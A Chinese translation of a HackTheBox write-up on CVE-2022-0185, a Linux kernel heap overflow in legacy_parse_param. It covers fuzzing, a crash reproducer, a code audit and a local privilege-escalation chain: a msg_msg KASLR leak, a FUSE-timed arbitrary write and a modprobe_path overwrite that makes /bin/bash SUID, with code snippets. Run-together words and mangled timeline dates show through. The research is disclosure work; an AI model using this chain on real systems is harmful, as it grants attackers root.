深入分析CVE-2022-0185漏洞

匿名者  994天前

微信截图_20220304143335.png

CVE-2022-0185Linux内核中的一个安全漏洞,该漏洞已经潜藏了两年之久。该漏洞是在Linux v5.1中引入的,具体来说,它是fs/fs_context.c文件中的一个整数下溢错误导致的堆缓冲区溢出,任何经过身份认证的用户都可以利用该漏洞攻陷整个系统。

简介

几年来,我和我的团队一直对CTF乐此不疲,尤其对内核漏洞越来越感兴趣——无论是在解决别人给出的挑战题,还是自己编写挑战题的过程中。我团队中的一些成员甚至开发了一种新颖的漏洞利用技术,这种技术后来在现实生活中的内核漏洞利用过程中变得很流行。于是,我们决定运用我们的知识来发现和利用现代Linux内核中的安全漏洞。

本文假定您具备内核方面的基础知识,但在此过程中,我们将对其中的关键概念进行详尽的解释。

挖掘漏洞

寻找漏洞常常被比喻为大海捞针。意思是说,它比我们想象中的要费时得多。所以,像大多数研究人员一样,我们选择让计算机通过运行一个向程序发送非预期数据并记录所有崩溃的fuzzer来“扒拉”干草堆。一般来说,内核是不会崩溃的,但是一旦发生崩溃,就说明我们很可能找到了一个潜在的安全漏洞。

在寻找内核漏洞时,我们选择使用谷歌的基于覆盖率的内核fuzzer,即Syzkaller。这个程序允许分布式节点用随机的系统调用对Linux内核进行模糊测试,试图遍历尽可能多的内核空间代码。如果一组输入导致内核崩溃(或检测到一个不正确的地址),Syzkaller将设法“重现”崩溃:创建这样一个“可靠的”程序,只要它一运行就能导致系统崩溃。

经过短短几天的摸索,我们终于发现了一个KASAN(内核地址验证程序)违例错误:

BUG: KASAN: slab-out-of-bounds inlegacy_parse_param+0x450/0x640 fs/fs_context.c:569

Write of size 1 at addr ffff88802d7d9000 bytask syz-executor.12/386100

 

CPU: 3 PID: 386100 Comm: syz-executor.12Not tainted 5.14.0 #1

Hardware name: QEMU Standard PC (i440FX +PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014

Call Trace:

 legacy_parse_param+0x450/0x640fs/fs_context.c:569

 vfs_parse_fs_param+0x1fd/0x390fs/fs_context.c:146

 vfs_fsconfig_locked+0x177/0x340fs/fsopen.c:265

 __do_sys_fsconfig fs/fsopen.c:439 [inline]

[ ... ]

The buggy address belongs to the object atffff88802d7d8000

 which belongs to the cache kmalloc-4k of size4096

The buggy address is located 0 bytes to theright of

 4096-byte region [ffff88802d7d8000,ffff88802d7d9000)

 这表明内核分配了一个4096字节的内存块,但是函数legacy_parse_param却试图在这个特定区域之外执行写操作。Syzkaller很快给我们提供了一个C示例,使我们能够更好地检查相关的逻辑:

#define _GNU_SOURCE

 

#include <endian.h>

#include <stdint.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <unistd.h>

#ifndef __NR_fsconfig

#define __NR_fsconfig 431

#endif

#ifndef __NR_fsopen

#define __NR_fsopen 430

#endif

uint64_t r[1] = {0xffffffffffffffff};

int main(void) {

         syscall(__NR_mmap,0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);

         syscall(__NR_mmap,0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);

         syscall(__NR_mmap,0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);

         intptr_tres = 0;

         memcpy((void*)0x20000000,"9p\000", 3);

         res= syscall(__NR_fsopen, 0x20000000ul, 0ul);

         if(res != -1)

                  r[0]= res;

         memcpy((void*)0x20001c00,"\000\000\344]\233", 5);

         memcpy((void*)0x20000540,"<long string>", 641);

         syscall(__NR_fsconfig,r[0], 1ul, 0x20001c00ul, 0x20000540ul, 0ul);

         inti;

         for(i= 0; i < 64; i++) {

                  syscall(__NR_fsconfig,r[0], 1ul, 0x20001c00ul, 0x20000540ul, 0ul);

         }

         memset((void*)0x20000040,0, 1);

         memcpy((void*)0x20000800,"<long string>", 641);

         syscall(__NR_fsconfig,r[0], 1ul, 0x20000040ul, 0x20000800ul, 0ul);

         for(i= 0; i < 64; i++) {

                  syscall(__NR_fsconfig,r[0], 1ul, 0x20000040ul, 0x20000800ul, 0ul);

         }

         return0;

}

 由于Syzkaller对传递给内核的数据一无所知,所以,这里显示的是导致崩溃的路径,其中包括不必要且低效的步骤。所以,我们需要自己来理解PoC,并留下有用的部分,同时,还要清除那些不相关的部分。例如,代码使用mmap将许多内存区域都映射到了进程中,但只使用了0x20000000UL范围的内存,因此,我们可以删除其他mmap调用。其中,uint64_tr[1]={0xfffffffffffffffff};语句的作用,与int r = -1;语句完全相同,只是形式上要更加复杂罢了;此外,我们还可以用一个变量或常量替换地址的每个实例,因此,我们可以直接使用字符串,而不是使用memcpy将字符串“9p”复制到缓冲区中,然后将该缓冲区传递到系统调用中。经过几次简化后,上述代码简化为:

int r = -1;

int main(void) {

         intres = 0;

         res= syscall(__NR_fsopen, "9p", 0ul);

         if(res != -1)

                  r= res;

}

经过几轮实验,并将我们的输入与相关的内核函数进行交叉引用,我们可以生成一个表现出相同行为的最小可重现示例:

#define _GNU_SOURCE

#include <sys/syscall.h>

#include <stdio.h>

#include <stdlib.h>

#ifndef __NR_fsconfig

#define __NR_fsconfig 431

#endif

#ifndef __NR_fsopen

#define __NR_fsopen 430

#endif

#define FSCONFIG_SET_STRING 1

#define fsopen(name, flags)syscall(__NR_fsopen, name, flags)

#define fsconfig(fd, cmd, key, value, aux)syscall(__NR_fsconfig, fd, cmd, key, value, aux)

int main(void) {

         char*key = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

         intfd = 0;

         fd= fsopen("9p", 0);

         for(int i = 0; i < 130; i++) {

                  fsconfig(fd,FSCONFIG_SET_STRING, "\x00", key, 0);

         }

}


代码审计

分配堆缓冲区并发生溢出的函数如下所示:

static int legacy_parse_param(structfs_context *fc, struct fs_parameter *param) {

         structlegacy_fs_context *ctx = fc->fs_private;      //[1]

         unsignedint size = ctx->data_size;                  //[2]

         size_tlen = 0;

         intret;

         [... ]

         switch(param->type) {

         casefs_value_is_string:

                  len= 1 + param->size;                               //[3]

         casefs_value_is_flag:

                  len+= strlen(param->key);

                  break;

         default:

                  returninvalf(fc, "VFS: Legacy: Parameter type for '%s' not supported", param->key);

         }

         if(len > PAGE_SIZE-2-size) return invalf(fc, "VFS: Legacy: Cumulativeoptions too large"); // [4]

         [... ]

         if(!ctx->legacy_data) {

                  ctx->legacy_data= kmalloc(PAGE_SIZE, GFP_KERNEL); // [5]

                  if(!ctx->legacy_data) return -ENOMEM;

         }

         ctx->legacy_data[size++]= ',';      // [6]

         len= strlen(param->key);

         memcpy(ctx->legacy_data+ size, param->key, len);

         size+= len;

         if(param->type == fs_value_is_string) {

                  ctx->legacy_data[size++]= '=';

                  memcpy(ctx->legacy_data+ size, param->string, param->size);

                  size+= param->size;

         }

         ctx->legacy_data[size]= '\0';

         ctx->data_size= size;

         ctx->param_type= LEGACY_FS_INdi vIDUAL_PARAMS;

         return0;

}

其中,系统调用fsopen创建了一个新的文件系统上下文,用户可以使用该上下文挂载一个新的文件系统。某些文件系统类型被标记为“legacy”,它们将触发该代码路径。在本例中,9P(Plan9文件系统)就是这样一个文件系统,也是fuzzer用来触发易受攻击代码的文件系统。ext4是现代Linux世界中另一个非常流行的文件系统,也触发了该代码路径……fsconfig允许我们将一个新的键/值对写入ctx->legacy_data,这是一个大小为4096字节的缓冲区,这是在第一次配置文件系统时分配的内存。

在第2行,我们加载legacy_fs_context(与文件描述符相关联),在下一行(第3行)代码中,我们从中加载size变量,这是迄今为止写入缓冲区的字节数。在第9行,len变成我们将要写入的数据的长度-strlen(key)+1+strlenvalue)。它将映射到mount选项字符串key=value

在第16行,将执行边界检查,这应该可以防止堆溢出。前文说过,漏洞就出现在这里,但是,我们稍后将返回到这里。

在第19行,我们第一次分配一个长度为PAGE_SIZE4096)的缓冲区。最后,在第22行,我们的数据开始写入堆中:先写一个逗号,然后是我们的键,然后是一个等号,然后是我们的值。最后,添加一个表示终止的null字节,并保存数据的新长度。

漏洞分析

实际上,问题出在这里:if (len > PAGE_SIZE-2-size) return invalf(fc,"VFS: Legacy: Cumulative options too large");。记住,len是将要写入的内容,PAGE_SIZE是总的缓冲区长度,而size是已经写入的数据的长度。实际上,我们应该加上额外的2个字节,它们对应于开始位置的逗号和结束位置的null字节。

这里的问题是执行检查时使用了减法。size是一个无符号值,这可能导致整数下溢。所谓无符号,就是说一个值没有符号(+/-),因此,该值总是被视为正数。如果相减后得到的是一个小于0的数字,那么,把它看作是一个无符号值的话,实际上就是一个非常大的值!

经过117次加上长度为2的键和长度为33的值的迭代后,现在的长度变为4095(即117*33+2))。如果我们一步一步地执行该语句:

PAGE_SIZE - 2 -> 4094 

那么当转换为无符号值时,条件判断表达式(PAGE_SIZE - 2) - size -> -1 ==18446744073709551615就成立了。对于条件表达式len > ((PAGE_SIZE - 2) - size) -> len >18446744073709551615 -> false,由于右边是len的最大可能值,所以,这个值永远无法被超越。因此,一旦长度变为4095字节,我们的输入将完全不受限制。在我们的下一个值的前导逗号被写入后,我们的下一个字符串(无限长)将被写入下面长度为4096字节的页/堆内存中!

漏洞的利用

现在,我们已经可以对堆进行随意的写操作了。Linux内核会根据缓存的长度对动态分配的内存进行分组,称为“slab”——我们对其执行写操作的slab,被称为kmalloc-4k。从slab中分配内存时,得到的空间都是连续的。因此,我们可以肯定,如果溢出到kmalloc-4k了内存边界之外,必将破坏邻近的kmalloc-4k结构体。

堆的这个特定区域很有趣,因为内核较少用到它们。这意味着意外破坏需要保护的数据结构的可能性较小——一旦破坏了这些数据结构,轻则导致攻击不稳定,重则直接导致系统崩溃。然而,这也意味着在这个slab中分配的结构体数量很少,而有用的目标结构体(堆gadget)的数量就更少了。

幸运的是,我的队友FizzBuzz101最近在一篇文章中探索并记录了System VIPC消息队列功能(我们称为msg_msg)的具体使用方法。它实际上是一个对象:

  •     可供低权限用户使用
  •     可用于触发4k以下的任何堆slab的内存分配
  •     可被滥用于越界读写

实现KASLR/内核地址泄漏

在所有的现实生活场景中,KASLR都会被启用。这个内核特性将内核中的每个函数和变量偏移为一个在每次启动时都会更改的静态值。我们需要泄露一个内核全局变量或函数的地址,我们可以用它来发现内核的基址,就像在用户程序漏洞利用中泄露Libc基址一样。

msg_msg有一个很有用的特性,即按照一定大小将消息拆分开来:其中msg_msg元数据的0x30字节和数据的0xFD0字节之前算是一部分;其余部分将分配在一个适当大小的内存块中,并将下一个指针添加到第一条消息中。当我们稍后收到IPC消息时,将跟踪列表指针,直到到达m_ts(size)字段。

为了泄露内核地址,我们将“喷射”为seq_operations分配的内存——导致内核在堆上创建大量的这些对象,它们都位于kmalloc-32 slab中。这是一个有用的目标结构体,因为它可以通过打开/proc/self/stat来分配空间,而且其中包含4个函数指针。

为了抵达这个结构体,我们的策略将是:

  •     准备好用于溢出的fs_context缓冲区
  •     seq_operations结构体喷入kmalloc-32slab
  •     将大量硕大的消息喷射到几个消息队列(大小为0xfe8,这将在kmalloc-32中分配其第二个内存段)中
  •     利用我们在kmalloc-4k中的溢出漏洞,破坏初始消息的m_ts/size字段
  •     请求从我们准备好的队列中返回所有的消息,并递增尺寸值
  •     扫描收到的缓冲区,直到找到一个有效的内核指针为止
  •     如果减去这个地址,就可以得到一个有效的、对齐的内核基址,说明内核地址泄露成功

这里使用了许多技巧,既提高了缓冲区重叠的可靠性,又防止意外碰撞造成不稳定和崩溃。这里将跳过这些内容,因为它们依赖于内核和硬件,需要手动调整。

任意写入原语

大多数内核攻击的后半部分是实现任意写入原语,又称为“write-what-where”原语。这个原语允许我们将受控值写到我们想要的任何位置。为此,我们将再次使用msg_msg

由于这个技术在原文中已经解释得很透彻了,这里只是简单总结一下。

与地址泄漏类似,我们将滥用msg_msg对大型消息的“拆分”行为。这一次,我们将滥用竞争条件:

  • 为第一个消息块分配内存
  • 将我们的数据被复制到里面
  • 为第二个消息块分配内存
  • 将第一个消息块中的next指针填入其中
  • 将数据的其余部分的地址复制到next指针中

在第4点和第5点之间有一个很小的竞争窗口。如果我们能在数据被复制到下一个字段之前覆盖该字段,我们的数据就会被写到一个完全受控的位置。然而,这是一个非常短暂的窗口,也就是说,获取内核控制权的时间非常紧迫,因此,我们必须在线程和时机安排上恰到好处。幸运的是,有一些技术可以用来提高我们成功的机会。

我们需要内核在复制我们的数据之前运行我们的代码,为此,我们可以借助于userfaultfd机制。当内核试图访问一个没有被映射但被userfaultfd注册的地址时,它将调用我们的代码来处理这个错误。在这期间,我们可以执行任何必要的操作从竞赛中取胜,然后将控制权交还给内核。不幸的是,由于明显的安全问题,最近的Linux版本和一些发行版都选择将这个功能仅仅授权给root用户使用。

FUSE

幸运的是,一种新技术已经投入使用:FUSE。我们知道,Linux系统允许用户编写自己的文件系统驱动程序,这些驱动程序以非特权用户代码的形式运行(在USE rspace中使用ilesystem)。所以,我们只需实现一个最小的FUSE文件系统,然后在其中打开一个文件,使用mmap将其映射到内存中,然后将返回的地址传递给内核。一旦内核试图从FUSE支持的地址中读取内存,它就需要调用我们定义的read函数。为了只在读取第一个0x1024大小的数据块后触发,我们将分配两个内存块:第一个是常规内存块,第二个是支持FUSE的内存块。

void *evil_page = mmap(0x1337000, 0x1000,PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);

uint64_t race_page = 0x1338000;

puts("[*] Preparing fault handlers viaFUSE");

int evil_fd = open("evil/evil",O_RDWR);

if (evil_fd < 0) {

 perror("evil fd failed");

 exit(-1);

}

if ((mmap(0x1338000, 0x1000,PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, evil_fd, 0)) != 0x1338000) {

 perror("mmap fail fuse 1");

 exit(-1);

}

 完整的恶意文件系统实现有很多样板,所以,这里进行简单总结:

  • 首先打开一个管道对——这是一个由两个进程共享的缓冲区,可以用来发送数据。在我们的示例中,我们将使用它进行简单的同步
  • 然后,fork我们的exploit,并让子进程作为FUSE守护进程运行,以处理文件系统请求
  • 执行exploit的前半部分,准备泄密内核地址
  • 打开/mmap我们的恶意文件
  • 使用fsopenfsconfig,利用漏洞实现堆溢出,最多使用4096字节
  • 创建一个线程来执行溢出并覆盖next指针
  • 同时,主线程触发msg_send,使得我们的FUSE代码得以执行
  • 我们的FUSE代码调用共享管道上的read函数,这将导致其阻塞,直到向它写入一个字节为止
  • 至此,溢出线程已经执行了exploit,并写入管道。这将导致FUSE释放,线程结束,从而将恶意数据复制到受控位置

写入目标

现在,我们已经可以向内核中的任意地址写入任意的内容了。但是,我们目标到底在哪里呢?在类似的概念验证攻击中,一个常见的目标是modprobe_path。当内核需要加载一个新模块时,它实际上会调用一个常规的用户二进制文件,并以root用户的身份运行它。这个路径可以在/proc/sys/kernel/modprobe(通常是/sbin/modprobe)中找到,它对应于内核变量modprobe_path。这使它成为一个非常有吸引力的目标。通过覆盖这个变量,使其指向到我们控制的程序,并导致内核尝试加载模块,该程序就会以root用户身份运行。对于我们的exploit,将要运行的程序如下所示:

char *modprobe_win = "/tmp/w";

#define SHELL  "/bin/bash"

[ ... ]

void modprobe_init() {

  intfd;

  [... ]

 char w[] = "#!/bin/sh\nchmod u+s " SHELL "\n";

 chmod(modprobe_trigger, 0777);

  fd= open(modprobe_win, O_RDWR | O_CREAT);

  if(fd < 0) {

   perror("winner creation failed");

   exit(-1);

  }

 write(fd, w, sizeof(w));

 close(fd);

 chmod(modprobe_win, 0777);

 return;

}

这将设置/bin/bashSUID位,当我们触发它时,就能得到一个root shell!

触发机制

但是如何触发我们覆盖的modprobe_path呢?幸运的是,随着CTF内核挑战赛的流行,这种技术已经比较常见。事实证明,当试图执行一个带有未知magic字节的文件时,内核实际上会通过modprobe尝试找到一个能够加载该二进制文件的模块。

do_execve return do_execveat_common(fd,filename, argv, envp, flags);

do_execveat_common retval =bprm_execve(bprm, fd, filename, flags);

bprm_execve retval = exec_binprm(bprm);

exec_binrpm ret =search_binary_handler(bprm);

search_binary_handler if(request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)

request_module ret =call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);

call_modprobe

static int call_modprobe(char *module_name,int wait) {

         structsubprocess_info *info;

         staticchar *envp[] = {

                  "HOME=/",

                  "TERM=linux",

                  "PATH=/sbin:/usr/sbin:/bin:/usr/bin",

                  NULL

         };

         char**argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);

         module_name= kstrdup(module_name, GFP_KERNEL);

         argv[0]= modprobe_path; // <--- overwritten!

         argv[1]= "-q";

         argv[2]= "--";

         argv[3]= module_name;

         argv[4]= NULL;

 

         info= call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL, NULL,free_modprobe_argv, NULL);

         returncall_usermodehelper_exec(info, wait | UMH_KILLABLE);

}

 所以,我们只需准备一个带有未知magic字节的二进制文件,然后调用它即可!

char *modprobe_trigger ="/tmp/root";

void modprobe_init() {

  intfd = open(modprobe_trigger, O_RDWR | O_CREAT);

 char root[] = "\xff\xff\xff\xff";

 write(fd, root, sizeof(root));

 close(fd);

 chmod(modprobe_trigger, 0777);

  [... ]

}

void modprobe_hax() {

 puts("[*] Attempting to trigger modprobe");

 execve(modprobe_trigger, NULL, NULL);

}

To finish up, we repeatedly attempt totrigger the overwrite and trigger modprobe_path. We can verify if it hassucceeded by checking the permissions on /bin/bash:

while (1) {

 do_win();

 modprobe_hax();

 struct stat check;

  //Get permissions on file

 stat(SHELL, &check);

  if(check.st_mode & S_ISUID) {

   break;

  }

}

puts("[*] Exploit success! "SHELL " is SUID now!");

puts("[+] Popping shell");

execve(SHELL, root_argv, NULL);

小结

至于完整的exploit代码,读者可以在这里的exploit_fuse.c文件中找到。实际上,在kctf.c文件中,我们还提供了一份更为复杂的exploit代码,它可以顺利绕过谷歌的强化漏洞研究计划的Kubernetes集群,详情请参考https://www.willsroot.io/2022/01/cve-2022-0185.html

我强烈建议熟悉这两种方法和发布的代码,以了解如何利用单个漏洞绕过不同的缓解措施并实现不同的目标。

时间线

  • 202217日:通过Syzkaller发现漏洞
  • 202218日:实现初始的LPE PoC
  • 202219日:实现了容器逃逸版本
  • 2022111日:向内核和dustro维护者报告了该漏洞,并提供了相应的补丁
  • 2022118日:公开披露该漏洞

 

原文地址:https://www.hackthebox.com/blog/CVE-2022-0185:_A_case_study

最新评论

昵称
邮箱
提交评论